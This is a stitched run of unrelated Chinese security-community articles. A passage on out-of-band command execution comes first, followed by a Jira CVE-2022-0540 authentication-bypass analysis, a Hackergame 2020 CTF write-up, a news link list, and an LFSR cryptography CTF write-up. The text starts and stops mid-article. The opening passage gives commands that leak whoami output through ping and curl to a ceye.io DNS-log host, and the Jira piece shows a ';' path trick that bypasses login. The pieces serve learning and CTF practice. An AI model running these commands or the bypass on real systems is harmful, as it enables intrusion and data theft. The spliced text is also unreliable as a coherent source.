> `第一步、whoami>D:/temp&&certutil -encode D:/temp D:/temp2&&findstr /L /V
> ""CERTIFICATE"" D:/temp2>D:/temp3
> 第二步、set /p MYVAR=< D:/temp3 && set FINAL=%MYVAR%.xxxx.ceye.io && ping
> %FINAL%
> 第三步、del "D:/temp" "D:/temp2" "D:/temp3"`
> Linux:
> 反引号命令执行
> curl `whoami`.xxx.ceye.io
## 4、总结
实际，有了这个思路， **jndi也能够回显** （ **划重点，面试官问的时候记住了**
），可以结合很多web服务器搞，比如tomcat，Spring，Spring-Boot框架。虽然jndi需要出网，就显的很鸡肋了，但这也算是一种思路，毕竟知识面决定攻击面，知识链决定攻击深度，多掌握一个点，说不定就用上了。最后注入代码gadget有`ROME、CommonsBeanutils1、CommonsCollections2、CommonsCollections3、CommonsCollections4、Spring1、Spring2、Jdk7u21、MozillaRhino1、JBossInterceptors1、JavassistWeld1、JSON1、Hibernate1`，在Jdk7u21
gadget注入代码，javassist修改字节码时，添加泛型会出现报错，解决方法参考下面链接。（题外话，这个月在安全客连投了5篇，算是上一年研究的一点总结，现在手里没什么干货了，继续潜心修炼去了，遇到有意思的点，在发出来给大家分享。
### 参考链接：
<https://github.com/kxcode/JNDI-Exploit-Bypass-Demo>
<https://kingx.me/Exploit-Java-Deserialization-with-RMI.html>
<https://xz.aliyun.com/t/7348>
<https://blog.csdn.net/kakaweb/article/details/84592472> | 社区文章 |
**作者：xxhzz@星阑科技PortalLab
原文链接：<https://mp.weixin.qq.com/s/fEhzBTl3SVVE072ubwi6EA>**
## 前言
在上篇分析[CVE-2022-26135Atlassian Jira Mobile Plugin
SSRF漏洞](http://mp.weixin.qq.com/s?__biz=Mzg3NDcwMDk3OA==&mid=2247483981&idx=1&sn=66f22ccf39f434401c24ee38ba73a0f2&chksm=cecd8b90f9ba0286ed40e9942dd42a23727c79771a582b6c39afd862a82e0b87f051c037a544&scene=21#wechat_redirect)之后，发现在此之前，jira也曾爆出过身份验证绕过漏洞，CVE编号为cve-2022-0540。趁着环境还热乎，对其产生的原理和代码进行一波分析和学习。
## 漏洞描述
Atlassian
Jira是澳大利亚Atlassian公司的一套缺陷跟踪管理系统。该系统主要用于对工作中各类问题、缺陷进行跟踪管理。攻击者可利用此漏洞向目标系统发送特制的HTTP请求，以使用受影响的配置绕过
WebWork 操作中的身份验证和授权要求。
## 利用范围
**Jira**
* Jira 所有版本 < 8.13.18
* Jira 8.14.x、8.15.x、8.16.x、8.17.x、8.18.x、8.19.x
* Jira 8.20.x < 8.20.6
* Jira 8.21.x
**Jira Service Management**
* Jira Service Management 所有版本 < 4.13.18
* Jira Service Management 4.14.x、4.15.x、4.16.x、4.17.x、4.18.x、4.19.x
* Jira Service Management 4.20.x < 4.20.6
* Jira Service Management 4.21.x
## 漏洞分析
### 环境搭建
本次环境使用docker搭建 Dockerfile
FROM atlassian/jira-software:8.13.17
USER root
COPY "atlassian-agent.jar" /opt/atlassian/jira/
RUN echo 'export CATALINA_OPTS="-javaagent:/opt/atlassian/jira/atlassian-agent.jar -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005 ${CATALINA_OPTS}"' >> /opt/atlassian/jira/bin/setenv.sh
5005为idea debug端口；atlassian-agent.jar项目地址：<https://github.com/hgqapp/atlassian-agent>，使用maven编译为jar文件即可。
后续创建容器根据提示配置。
调试源码：将以下三个文件夹设置为Libraries。
\atlassian-jira-software-8.13.17-standalone\lib
\atlassian-jira-software-8.13.17-standalone\atlassian-jira\WEB-INF\classes
\atlassian-jira-software-8.13.17-standalone\atlassian-jira\WEB-INF\lib
### 前置知识
在漏洞分析之前，先简单了解一下Jira相关的背景知识。
### WebWork
Jira使用MVC框架WebWork来处理用户发起的WEB请求。每个请求都是使用WebWork action来处理，在其中又使用了其他的utility
and Manager
classes来完成一个任务。作为响应返回给客户端的HTML大部分都是View层的JSP生成的。URL中的”.jspa”后缀标识其后端对应的是一个JSP文件。
### Seraph
Seraph是一个开源认证框架，主要由Atlassian开发和维护。Jira、Confluence的登录认证是都由Seraph来负责的。Seraph是通过Servlet的Filter实现的。Seraph的功能只是用来在给定一个Web请求的情况下，将该请求与特定用户相关联。
### 动态分析
通过前置知识可以了解到Seraph是一个开源认证框架，也是jira核心身份验证机制。Seraph是通过Servlet和Filter实现的。
查看Filter，发现com.atlassian.jira.security.JiraSecurityFilter.class
在doFilter中调用父方法super.doFilter
com.atlassian.seaph.filter.SecurityFilter#doFilter
这里处于atlassian-seaph-4.0.4.jar中filter也就是seraph过滤器，它会根据请求用户权限进行判断，进一步确定所需要的角色，确定是否需要认证。
持续跟进，发现会通过循环会出现三种Service
JiraPathService
JiraPathService是处理：如果请求的 servlet 路径以 /secure/admin/ 开头，那其角色权限必须是admin（管理员权限）。
WebworkService
WebworkService则是在actions.xml文件中获取角色所需要的webwork配置。
经过调试，会多次进入getRequiredRoles函数，其中获取URl的方式为getRequestURL。
继续跟进发现在通过getRequestURL方式提取请求URL后，会通过提取最后一个/后面的接口产生一个targetURL，这里传入的是/secure/InsightPluginShowGeneralConfiguration.jspa，而targetURL为/InsightPluginShowGeneralConfiguration.jspa
JiraSeraphSecurityService
继续往下就是第三个服务JiraSeraphSecurityService，作用是在所有插件的 atlassian-plugin.xml 文件中获取角色所需的
webwork 操作配置。
在跟进JiraSeraphSecurityService时，发现会调用WebworkPluginSecurityServiceHelper.getRequiredRoles，和WebworkService.getRequiredRoles代码是相同的。
接口权限必须是admin。
在com.atlassian.jira.web.dispatcher.JiraWebworkActionDispatche中会对jspa进行处理。
service函数会从请求中获取Action名称，后续使用/和。jspa切割字符来获取ActionName。
在webwork.dispatcher.GenericDispatcher#executeAction函数，会对Action进行检查。
系列Action工厂。
如上分析，其实目前已经知道在Filter中提取URL的方法是getRequestURL，在Servlet中使用getServletPatch。
在URL加入上“;”，传入/secure/InsightPluginShowGeneralConfiguration.jspa;那么在Filter中无法找到InsightPluginShowGeneralConfiguration.jspa；对应的Action，后续进入Servlrt处理，而getServletPath会将;删除，这样也就绕过了Filter层的认证。
但实际效果上，这样还需要进行验证才能访问资源。
继续动态调试发现。
在LookupAliasActionFactoryProxy同样进行了权限检查。
参考了其他大佬分析的文章，了解到在编写插件的时候可使用webwork1元素添加roles-required属性。这里直接使用受影响的插件insight8.9.10进行复现。
添加角色属性可参考<https://developer.atlassian.com/server/jira/platform/webwork/>
### 漏洞复现
在官网上下载插件Insight8.9.10版本。
上传成功后，在未登录的情况下，访问/secure/InsightPluginUpdateGeneralConfiguration.jspa;
成功绕过登录认证限制。
## 修复建议
受影响用户可将产品更新至最新安全版本，具体参考官网公告：
<https://jira.atlassian.com/browse/JRASERVER-73650>
## 参考材料
1.<https://jira.atlassian.com/browse/JRASERVER-73650>
2.<https://developer.atlassian.com/server/jira/platform/webwork/>
3.<https://marketplace.atlassian.com/apps/1212137/insight-asset-management/version-history>
4.<https://blog.viettelcybersecurity.com/cve-2022-0540-authentication-bypass-in-seraph/>
* * * | 社区文章 |
# 3.Hackergame 2020
## **1.签到**
url：<http://202.38.93.111:10000/>
打开签到题页面，拖动滑杆，如果将滑杆滑动到最左边，提交 0，那么我们会得到成功的返回，但是没有 flag
尝试手动提交一些非整数的值，发现得到返回信息：
我可以给你 1 个 flag、2 个 flag、3 个 flag…… 但我没法给你 0.34101个 flag。
返回信息提示我们要提交正整数的值，比如 1，而不是一个小数的值。
第一种方法
通过分析发现，这个滑杆的数值其实是通过浏览器地址栏中的一个参数来控制的，所以直接修改地址栏中的参数 number 的值为 1 即可，修改后回车即可得到
flag。
<http://202.38.93.111:10000/?number=1>
第二种方法
有的同学一定要把滑杆拖动到 1 才肯罢休，但即使是用键盘方向键操纵，最后数值也不会停留在 1。
分析前端页面，我们可以看到这么一段 JavaScript 代码：
var prevVal = 0;
$(document).ready(function() {
$("#show").text($('#number')[0].value);
$('#number').on('input', function() {
if ($('#number')[0].value.toString() === "1") {
console.log('没想到吧!');
$('#number')[0].value = 1.00001;
if (prevVal == 1.00001) $('#number')[0].value = 0.99999;
if (prevVal == 0.99999) $('#number')[0].value = 1.00001;
}
$("#show").text($('#number')[0].value.toString());
prevVal = $('#number')[0].value;
});
});
其中 console.log('没想到吧!'); 所在的代码块就是判断在滑杆数值变动时是否为 1，如果为 1
就跳过的代码，所以我们无法手动拖动或键盘控制滑杆的值到 1。
但是我们可以直接参考这段代码，直接把滑杆的值设置为 1，具体来说，打开 Chrome 的开发者工具（F12），在 Console
标签下输入以下代码执行，即可将滑杆的值设置为 1，然后点击提交就可以得到 flag：
$('#number')[0].value = 1;
点击提取
第三种方法
直接修改value的值为1
可以看到滑杆已停在1的位置，点击提取
第四种方法
将step设置为1
向右拖动滑杆即可到1的位置
## **2.2048**
url：<http://202.38.93.111:10005/>
第一种方法
查看网页源代码，发现提示：
<!--
changelog:
- 2020/10/31 getflxg @ static/js/html_actuator.js
-->
进而打开 static/js/html_actuator.js 这个文件，找到和游戏胜利有关的逻辑：
var url;
if (won) {
url = "/getflxg?my_favorite_fruit=" + ('b'+'a'+ +'a'+'a').toLowerCase();
} else {
url = "/getflxg?my_favorite_fruit=";
}
let request = new XMLHttpRequest();
request.open('GET', url);
如果访问 /getflxg?my_favorite_fruit= 可以得到返回信息：
还没有大成功，不能给你 flxg。
这正是游戏失败时的提示信息。
我们打开 Chrome 浏览器的开发者工具，切换到 Console 标签页，执行一下 ('b'+'a'+
+'a'+'a').toLowerCase()，得到正确的应该填入的值为 banana
访问 /getflxg?my_favorite_fruit=banana，则可以得到正确的 flag。
有的同学可能会好奇为什么 ('b'+'a'+ +'a'+'a').toLowerCase() 的计算结果是
banana，这个问题可以参考：<https://stackoverflow.com/questions/57456188/why-is-the-result-of-ba-a-a-tolowercase-banana> 。
## **3.一闪而过的flag**
首先下载题目中所给出的exe文件
打开cmd命令行窗口
将下载下来的exe文件拖到命令行窗口，点击回车运行即可得到flag
也可以在文件下载后的位置打开命令行窗口，直接运行exe文件
## **4.从零开始的记账工具人**
这道题考察选手基本的编程处理数据的能力，常见的编程语言都可以编写出解题代码。
解法 1
手工计算
解法 2
使用任意文本编辑器（或者 Excel 本身）做字符串替换，替换规则如下：
'零' -> ''
'壹' -> '1'
'贰' -> '2'
'叁' -> '3'
'肆' -> '4'
'伍' -> '5'
'陆' -> '6'
'柒' -> '7'
'捌' -> '8'
'玖' -> '9'
'拾' -> '*10+'
'佰' -> '*100+'
'仟' -> '*1000+'
'元' -> '+'
'角' -> '/10+'
'分' -> '/100'
'++' -> '+'
'整' -> ''
然后如果开头有乘号或者结尾有加号，去掉即可，这样的数学表达式求值即可得到正确的结果。
解法 3
编程求解，这里使用 Python 语言。
我们首先使用 Excel（或者其他商业的、开源的、在线的电子表格工具）将下载的文件转换为 .csv 格式，即逗号分隔的文本。（当然，你也可以使用解析
Excel 文件格式的库来处理）
然后在 Python 中安装 cn2an 这个中文数字转换的库：
python3 -m pip install cn2an
然后使用 Python 程序处理这个文件：
import cn2an
lines = open('bills.csv').readlines()[1:]
s = 0
for line in lines:
a, b = line.strip().split(',')
n = 0
if '元' in a:
y, a = a.split('元')
n += cn2an.cn2an(y, "smart")
if '角' in a:
y, a = a.split('角')
n += cn2an.cn2an(y, "smart") / 10
if '分' in a:
y, a = a.split('分')
n += cn2an.cn2an(y, "smart") / 100
s += n * int(b)
print(s)
## **5.超简单的世界模拟器**
url：<http://202.38.93.111:10010/>
这道题手工构造与写代码暴力搜索都可以解决。
使用搜索引擎搜索“生命游戏”或“Game of Life”都可以找到很多相关的资料，其中会提到生命游戏的演化规则和一些有趣的构造。
**手工构造解法**
为了消除右上角的方块，我们只要放置一个水平移动的“太空船”即可：
000000000000000
001111000000000
010001000000000
000001000000000
010010000000000
000000000000000
000000000000000
000000000000000
000000000000000
000000000000000
000000000000000
000000000000000
000000000000000
000000000000000
000000000000000
这样可以得到第一个 flag。
消除第二个方块有点困难，因为（比较小的）飞行器只能沿着对角线方向和水平竖直方向飞行，我们的可控制区域比较小，无法让飞行器移动后与方块碰撞。
所以我们可以找一些会扩散比较大的初始状态，例如这个链接里面讲的例子。
一个可行的例子：
000000000000000
000000000000000
000000000000000
000000000000000
000000000000000
000000000000000
000000011000000
000000001100000
000000011000000
000000010000000
000000000000000
000000000000000
000000000000000
000000000000000
000000000000000
**暴力解法**
直接随机生成 0/1 矩阵，大概几十次就可以找到一个，Python 代码见solve.py
import random
MAP_SIZE = 50
CONTROL_SIZE = 15
STEP = 200
FLAGS = [(5, 45), (25, 45)]
def flag_range(flag):
x, y = flag
for i in range(2):
for j in range(2):
yield x + i, y + j
class Game:
def __init__(self, W, H):
self.W = W
self.H = H
self.map = [[0 for _ in range(W)] for _ in range(H)]
for flag in FLAGS:
for x, y in flag_range(flag):
self.map[x][y] = 1
def step(self):
new = [[0 for _ in range(self.W)] for _ in range(self.H)]
for i in range(self.H):
for j in range(self.W):
cnt = 0
for io in -1, 0, 1:
for jo in -1, 0, 1:
if 0 <= i + io < self.H:
if 0 <= j + jo < self.W:
if io != 0 or jo != 0:
if self.map[i + io][j + jo]:
cnt += 1
if cnt == 3:
new[i][j] = 1
elif cnt == 2:
new[i][j] = self.map[i][j]
else:
new[i][j] = 0
self.map = new
random.seed(2020)
while True:
game = Game(MAP_SIZE, MAP_SIZE)
for i in range(CONTROL_SIZE):
for j in range(CONTROL_SIZE):
game.map[i][j] = random.randrange(2)
s = ''
for line in game.map[:CONTROL_SIZE]:
for i in line[:CONTROL_SIZE]:
s += str(i)
s += '\n'
last = game.map
for i in range(STEP):
game.step()
if game.map == last:
break
last = game.map
cnt = 0
for i, flag in enumerate(FLAGS):
if all(not game.map[x][y] for x, y in flag_range(flag)):
cnt += 1
print("flags =", cnt)
if cnt:
print(s)
## **6.从零开始的火星文生活**
首先下载题目中所给出的文件
例如用 VSCode 的“Select Encoding”功能。
步骤（开始时 UTF-8 打开题目附件）：
Save with Encoding -> GBK
Reopen with Encoding -> UTF-8
Save with Encoding -> ISO8859-1
Reopen with Encoding -> GBK
## **7.自复读的复读机**
url：<http://202.38.93.111:10050/>
**解题思路**
使用搜索引擎搜索“输出自己的程序”或者类似的词，可以查到这类程序叫做 Quine。可以很容易在网上查到很多 Python 3 的 Quine，例如：
exec(s:='print("exec(s:=%r)"%s)')
还有
s='s=%r;print(s%%s)';print(s%s)
等等。
这道题要求输出代码的逆序以及代码的哈希，我们可以修改上面的 Quine：
输出自己逆序的程序：exec(s:='print(("exec(s:=%r)"%s)[::-1])')（把 print 的内容用括号括起来然后逆序即可）
但这样提交之后有一个问题，就是输出比代码多了一个 \n，这是由于输入的代码结尾没有换行符而 print 输出的内容结尾会自带换行符，我们只需要让 print
不输出换行符，加一个 ,end="" 即可。
对于第二问，我们把 print 的内容用 Python 自带的计算 sha256 的函数包起来即可。
**答案**
第一问（每行都是一个可能的构造）：
exec(s:='print(("exec(s:=%r)"%s)[::-1],end="")')
s='s=%r;print((s%%s)[::-1],end="")';print((s%s)[::-1],end="")
第二问（每行都是一个可能的构造）：
exec(s:='print(__import__("hashlib").sha256(("exec(s:=%r)"%s).encode()).hexdigest(),end="")')
exec(s:='import hashlib;print(hashlib.sha256(("exec(s:=%r)"%s).encode()).hexdigest(),end="")')
import hashlib;s='import hashlib;s=%r;print(hashlib.sha256((s%%s).encode()).hexdigest(),end="")';print(hashlib.sha256((s%s).encode()).hexdigest(),end="")
其他
要注意的是，这道题的程序是使用标准输入读入代码然后用 exec() 执行的，所以并不能使用 print(open( **file** ).read())
之类输出自己源代码文件的方案。
你可以使用 import os; os.system('ls') 之类的代码来在服务器上任意执行命令，但是进程是以低权限运行的，这种方法不能读到 flag。
## **8.233 同学的字符串工具**
url：<http://202.38.93.111:10234/>
**「字符串大写工具」题解**
代码的意思是：如果我们输入一个字面上不是 "flag" 但转换为大写后会变成 "FLAG" 的字符串，就可以得到 flag。
我们可以以 "unicode uppercase collision" 为关键字搜索，不难找到一个连字（ligature）
fl (0xFB02)
这个“字符”将在转换为大写时变成 FL 两个字符！因此，只需输入 flag 即可得到 flag。
flag{badunic0debadbad}
**「UTF-7 转换工具」题解**
代码的意思是：如果我们输入一个字面上不是 "flag" 但从 UTF-7 转换为 UTF-8 后会变成 "flag" 的字符串，就可以得到 flag。
不妨查阅 UTF-7 相关资料。可以得知：一个 Unicode 字符串，在 UTF-7 编码下，可能有多种编码，甚至纯粹的 ASCII
字符串也可以有多种编码！
那么事情就简单了。我们依照 Wikipedia 等参考资料给出的 UTF-7 编码算法，可以构造出 "flag" 的另一种“写法”。比如，选择 f 下手。
f 的 Unicode 码位是 0x66
将 0x66 写成 16 位二进制数：0000 0000 0110 0110
重新分组：000000 000110 011000
使用 base64 的编码表，将每组变成一个字符：AGY
那么最终 "flag" 的另一种 UTF-7 替代写法就是 +AGY-lag，输入即可得到 flag。
flag{please_visit_www.utf8everywhere.org}
文笔生疏，措辞浅薄，望各位大佬不吝赐教，万分感谢。
免责声明：由于传播或利用此文所提供的信息、技术或方法而造成的任何直接或间接的后果及损失，均由使用者本人负责， 文章作者不为此承担任何责任。
转载声明：儒道易行
拥有对此文章的修改和解释权，如欲转载或传播此文章，必须保证此文章的完整性，包括版权声明等全部内容。未经作者允许，不得任意修改或者增减此文章的内容，不得以任何方式将其用于商业目的。 | 社区文章 |
# 12月9日安全热点 - Homekit漏洞/Anonymous攻击以色列
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 资讯类
Apple HomeKit现漏洞，黑客可控制大门与灯光
<http://www.bbc.com/news/technology-42283401>
18年最大的安全风险可能集中在区块链和机器学习
<http://www.valuewalk.com/2017/12/biggest-cybersecurity-risks-2018/>
Annoymous攻击以色列并威胁美国政府
<http://securityaffairs.co/wordpress/66491/hacktivism/opisrael-opus-anonymous.html>
## 技术类
Linux Exploitation从入门到入狱
<https://github.com/nnamon/linux-exploitation-course>
约会应用也不放过？绕过IDOR
<http://blog.gaurangbhatnagar.com/2017/12/02/Hacking-a-dating-app.html>
P4wnp1 nexmon additions
<https://github.com/mame82/P4wnP1_nexmon_additions>
此前提到的AVGater，我们真的应该担心嘛
<https://securingtomorrow.mcafee.com/mcafee-labs/should-i-worry-about-avgater-which-exploits-some-security-products/>
macOS平台新的恶意软件——HiddenLotus
<https://blog.malwarebytes.com/threat-analysis/2017/12/interesting-disguise-employed-by-new-mac-malware/amp/>
QNX QNet提权漏洞分析
<https://www.midnightbluelabs.com/blog/2017/12/8/elevation-of-privilege-vulnerability-in-qnx-qnet>
macOS中不安全的cron
<https://m4.rkw.io/blog/macos-high-sierra-10131-insecure-cron-system.html>
Mr.Robot Disassembled
<https://medium.com/@ryankazanciyan/mr-robot-disassembled-eps3-8-stage3-torrent-8b80e14fc6fb>
黑掉了Whatsapp内心毫无波动甚至还往群里添加了联系人
<https://www.linkedin.com/pulse/hacking-whatsapp-adding-contacts-groups-when-being-blocked-shprinz/>
OSCP课程介绍
<https://411hall.github.io/OSCP-Preparation/>
跟踪事件日志的分析
<http://blog.jpcert.or.jp/2017/12/research-report-released-detecting-lateral-movement-through-tracking-event-logs-version-2.html>
使用不同的模糊测试暴露出程序语言的隐藏利用面
<https://www.blackhat.com/docs/eu-17/materials/eu-17-Arnaboldi-Exposing-Hidden-Exploitable-Behaviors-In-Programming-Languages-Using-Differential-Fuzzing-wp.pdf> | 社区文章 |
线性反馈移位寄存器（LFSR）在流密码中有广泛的应用，是指给定前一状态的输出，将该输出的线性函数再用作输入的移位寄存器。LFSR
主要用于生成一串随机的比特流，比特流可用做加密明文的密钥。
LFSR
基本原理大致就是通过当前状态进行一些线性运算来确定下一状态。不清楚的可以参考[这篇文章](https://zhuanlan.zhihu.com/p/33920501)学习一下流密码和
LFSR 。
最开始接触 LFSR 是在强网杯的 streamgame，后来密码学课程上比较详细学习了流密码和 LFSR，再到今年国赛初赛中的 oldstream，最近的
X-MAS CTF 中一道密码题我看到了 LFSR 的一些新玩法，总结一下。
### 2018 强网杯 streamgame1
看一下题目：
from flag import flag
assert flag.startswith("flag{")
assert flag.endswith("}")
assert len(flag)==25
def lfsr(R,mask):
output = (R << 1) & 0xffffff
i=(R&mask)&0xffffff
lastbit=0
while i!=0:
lastbit^=(i&1)
i=i>>1
output^=lastbit
return (output,lastbit)
R=int(flag[5:-1],2)
mask = 0b1010011000100011100
f=open("key","ab")
for i in range(12):
tmp=0
for j in range(8):
(R,out)=lfsr(R,mask)
tmp=(tmp << 1)^out
f.write(chr(tmp))
f.close()
可以发现 flag 是 19 位比特流，作为 LFSR 的初始状态，生成了 96 个比特并写入了 key 中。这里 2**19
时间复杂度并不大，直接采用暴力枚举的方式，脚本：
def lfsr(R,mask):
output = (R << 1) & 0xffffff
i=(R&mask)&0xffffff
lastbit=0
while i!=0:
lastbit^=(i&1)
i=i>>1
output^=lastbit
return (output,lastbit)
key=[85,56,247,66,193,13,178,199,237,224,36,58]
mask=0b1010011000100011100
for k in range(2**19):
R=k;
a=''
judge=1
for i in range(12):
tmp = 0
for j in range(8):
(k, out) = lfsr(k, mask)
tmp = (tmp << 1) ^ out
if(key[i]!=tmp):
judge=0
break
if(judge==1):
print 'flag{'+bin(R)[2:]+'}'
break
结果：
flag{1110101100001101011}
### 2018 国赛 oldstreamgame
看一下题目：
flag = "flag{xxxxxxxxxxxxxxxx}"
assert flag.startswith("flag{")
assert flag.endswith("}")
assert len(flag)==14
def lfsr(R,mask):
output = (R << 1) & 0xffffffff
i=(R&mask)&0xffffffff
lastbit=0
while i!=0:
lastbit^=(i&1)
i=i>>1
output^=lastbit
return (output,lastbit)
R=int(flag[5:-1],16)
mask = 0b10100100000010000000100010010100
f=open("key","w")
for i in range(100):
tmp=0
for j in range(8):
(R,out)=lfsr(R,mask)
tmp=(tmp << 1)^out
f.write(chr(tmp))
f.close()python
同样是一个 LFSR，与之前不同的是 flag 是 8 位十六进制，也就是 LFSR 初始状态是 32
bit，这里我们也可以采用暴力枚举的方式，但是更好的方式是分析一下原理。
#### 分析
我们仔细分析一下 `lfsr` 这个函数的作用：
函数传入 R 和 mask 两个参数，output 由 R 左移一位然后和 0xffffffff 进行了与操作得到，相当于把原来 R
的最高比特位顶掉了，末尾填了一个 0 。i 是由 R 和 mask 进行了与操作，后面的循环主要用于得到 lastbit。
lastbit 首先为 0， 然后 lastbit 和 i &1 的结果异或，i 右移一位，以此类推，知道 i 为 0，不难分析出 lastbit 实际就是
i 的每个比特位异或得到的。在循环结束后 output 和 lastbit 进行了异或，由于之前 output 的最低比特是 0，所以相当于把 output
的最低位设成了 lastbit。函数返回 output 和 lastbit 返回。
总结一下 lfsr 这个函数：
**对于传入的 R 和 mask，R 左移一位把最高位顶掉，最低一位由 R & mask 结果的各个比特位异或的结果进行填充。并返回最终结果和最低位。**
可以看到这就是一个典型的线性反馈移位寄存器的实现，初始状态是 flag 的 32 比特位，随后不断顶掉高位，在最后一位填充。可以想象成一个长度为 32
的队列，每一次队列向前移动，最前面（最高位）的出去，后面填充的由前一状态的 32 个比特经过运算决定（具体就是 lastbit 的生成方法）。
我们看一下 lastbit 的生成方法，R 和 mask 进行与操作，mask 是
`0b10100100000010000000100010010100`,和 0 进行与操作肯定是 0，所以实际上 R 只有几个比特位起作用，就是 mask
为 1 的那些 bit 位。也就是说 R 的这些位异或得到了 lastbit。
这个 LFSR 当生成了第一个比特时，flag 最初始的 32
比特最高比特被顶出去了，生成第二个比特时，原始状态的第二高位被顶出去了。我们不妨想一下当生成第 32 个比特结束后，此时的状态就是 flag 最初始的 32
比特完全都被顶出去了。而这 32 个比特我们都已知（程序每次都把 lastbit 记录写进了 key 中）。此时状态的 32 个比特的最低位是由上一状态的
32 比特起作用的那些位异或得到的，而 mask 的最高位是 1，所以也就是上一个状态的最高位参与了异或运算，而上一个状态最高位就是被顶出去的 flag
初始状态的最低一位，此外我们可以得到参与异或运算的其他比特位，那么我们就可以算出初始状态的最低位了。
用式子来说明，把开始生成第 32 比特的状态比作 x，x[i] 代表从高到低的第几位，那么：
lastbit = x[1] ^ x[3] ^ x[6] ^ x[13] ^ x[21] ^ x[25] ^ x[28] ^ x[30]
lastbit 代表生成的第 32 个比特，x[1] 代表 **初始状态的最低比特位** ，这个式子中只有 x[1] 未知，我们可以计算出
x[1],这样我们就可以通过生成第 32 个比特后的状态还原了生成第 31 个比特后（生成第 32 个比特前）的状态，以此类推，经过 32
次我们可以完全还原到初始状态。
原理简单来说就是新生成的比特是通过上一个状态的特定比特异或得到，我们可以利用异或性质用生成的比特去还原原来的比特。
#### exp
根据思路写出解题脚本：
# -*- coding: utf-8 -*- import libnum
def LFSR_inv(R,mask):
str=bin(R)[2:].zfill(32)
new=str[-1:]+str[:-1]
new=int(new,2) #R循环右移一位得到new
i = (new & mask) & 0xffffffff
lastbit = 0
while i != 0:
lastbit ^= (i & 1)
i = i >> 1
return R>>1 | lastbit<<31 #最高位用lastbit填充
mask = 0b10100100000010000000100010010100
data=open('key').read()
data=data[:4]
c=libnum.s2n(data) #生成32比特后的状态
for _ in range(32):
c=LFSR_inv(c,mask)
print hex(c)
运行得到结果：0x926201d7L
所以 flag 是
> flag{926201d7}
### 2018 X-MAS CTF goodies
这个题算是一个 LFSR 的变形，感觉考的很有趣。看下题：
import os
flag = open('flag.txt').read().strip()
class PRNG():
def __init__(self):
self.seed = self.getseed()
self.iv = int(bin(self.seed)[2:].zfill(64)[0:32], 2)
self.key = int(bin(self.seed)[2:].zfill(64)[32:64], 2)
self.mask = int(bin(self.seed)[2:].zfill(64)[64:96], 2)
self.aux = 0
def parity(self, x):
x ^= x >> 16
x ^= x >> 8
x ^= x >> 4
x ^= x >> 2
x ^= x >> 1
return x & 1
def getseed(self):
return int(os.urandom(12).encode('hex'), 16)
def LFSR(self):
return self.iv >> 1 | (self.parity(self.iv & self.key) << 32)
def next(self):
self.aux, self.iv = self.iv, self.LFSR()
def next_byte(self):
x = self.iv ^ self.mask
self.next()
x ^= x >> 16
x ^= x >> 8
return (x & 255)
def encrypt(s):
o = ''
for x in s:
o += chr(ord(x) ^ p.next_byte())
return o.encode('hex')
p = PRNG()
with open('flag.enc', 'w') as f:
f.write(encrypt(flag))
flag.enc:
ab38abdef046216128f8ea76ccfcd38a4a8649802e95f817a2fc945dc04a966d502ef1e31d0a2d
#### 分析
可以看到程序采用异或方式加密了 flag，而每次与 flag 异或的字节由类中的
`next_byte`方法生成。我们再看一下这个类，发现构造函数初始化了四个变量，其中 `iv、key、mask`都是根据随机字符串生成的 32
位比特流，我们无法得知，aux 这个变量初始化为 0。
我们来从头过一下 `next_byte`这个方法是怎么生成一个字节的：
把 iv 和 mask 进行异或得到 x，进行 `x ^= x >> 16` `x ^= x >> 8` 这两步，把 `x &
255`结果返回，这就是生成的字节。而在这之中调用了 next 方法改变了类的 iv，而 mask 始终不变。
我们不难发现这几步操作：
x ^= x >> 16
x ^= x >> 8
return x & 255
其实就是把 x 的低 32 bit 按顺序分成四组，每组 8 个比特，四组数进行异或就是返回的结果。（不信可以拿个数试试）
我们再来看一下 iv 每次是如何改变的，next 函数就一行语句：
self.aux, self.iv = self.iv, self.LFSR()
aux我们不管，因为它没有参与任何运算。新的 iv 被 LFSR 函数的返回值赋值，看一下 LFSR 函数：
return self.iv >> 1 | (self.parity(self.iv & self.key) << 32)
返回了 iv 与 parity 函数返回值右移 32 位 进行或运算的结果。
我们再来看一下 parity 函数：
x ^= x >> 16
x ^= x >> 8
x ^= x >> 4
x ^= x >> 2
x ^= x >> 1
return x & 1
和前面 next_byte 的差不多，不难分析出这个 parity 实际就是把 x 的低 32 个比特之间进行异或，返回结果。当然，结果只能是 0 或1。
如果把 `(self.parity(self.iv & self.key) << 32)` 的结果比作 s，那么 s 两种可能，0 和 2**32。
新的 iv 是由当前的 iv 右移一位和 s 进行与操作得到的。注意这里 iv 可能是 32 位，也可能是 33 位，因为 2**32 是 33 位。
把各个函数和 iv 生成方法过了一遍，发现我们什么也不知道，已知只有密文，初始 iv ，mask，key 都是未知。但是还有一个条件，我们是知道 flag
是以`X-MAS{`开头的。这样我们可以得到 next_byte 生成的前 6 个字节，但是我们也无法还原初始 iv 和 mask，key。注意，我们只需要
**还原明文** 就可以了，不需要知道 iv，mask以及 key 。
我用一个图来说明一下字节的生成：
| i[1] | i[2] | i[3] | i[4] | i[5] | i[6] | i[7] | i[8]
---|---|---|---|---|---|---|---|---
xor | i[9] | i[10] | i[11] | i[12] | i[13] | i[14] | i[15] | i[16]
xor | i[17] | i[18] | i[19] | i[20] | i[21] | i[22] | i[23] | i[24]
xor | i[25] | i[26] | i[27] | i[28] | i[29] | i[30] | i[31] | i[32]
xor | m[1] | m[2] | m[3] | m[4] | m[5] | m[6] | m[7] | m[8]
xor | m[9] | m[10] | m[11] | m[12] | m[13] | m[14] | m[15] | m[16]
xor | m[17] | m[18] | m[19] | m[20] | m[21] | m[22] | m[23] | m[24]
xor | m[25] | m[26] | m[27] | m[28] | m[29] | m[30] | m[31] | m[32]
把 xor 当成正常的加法，一列的进行异或，最终得到的八个比特就是生成的字节。其中 i[1] 代表 iv **低32比特中** 从高到低的第 1
个比特（因为后面 iv 可能 33 个比特），m[5] 代表 mask 从高到低的第 5 个比特。
当下一次生成字节的时候，iv 因为发生了变化，变化后的 iv_new[2]—iv_new[32] 这 31 位是之前 iv[1]—iv[31] 这31
位（因为右移了一位），而 iv_new[1]是 0，可能新的 iv 有 33 位，但那个最高位并没有参与到字节的生成中，我们不需要管。此时生成字节的图是：
| 0 | i[1] | i[2] | i[3] | i[4] | i[5] | i[6] | i[7]
---|---|---|---|---|---|---|---|---
xor | i[8] | i[9] | i[10] | i[11] | i[12] | i[13] | i[14] | i[15]
xor | i[16] | i[17] | i[18] | i[19] | i[20] | i[21] | i[22] | i[23]
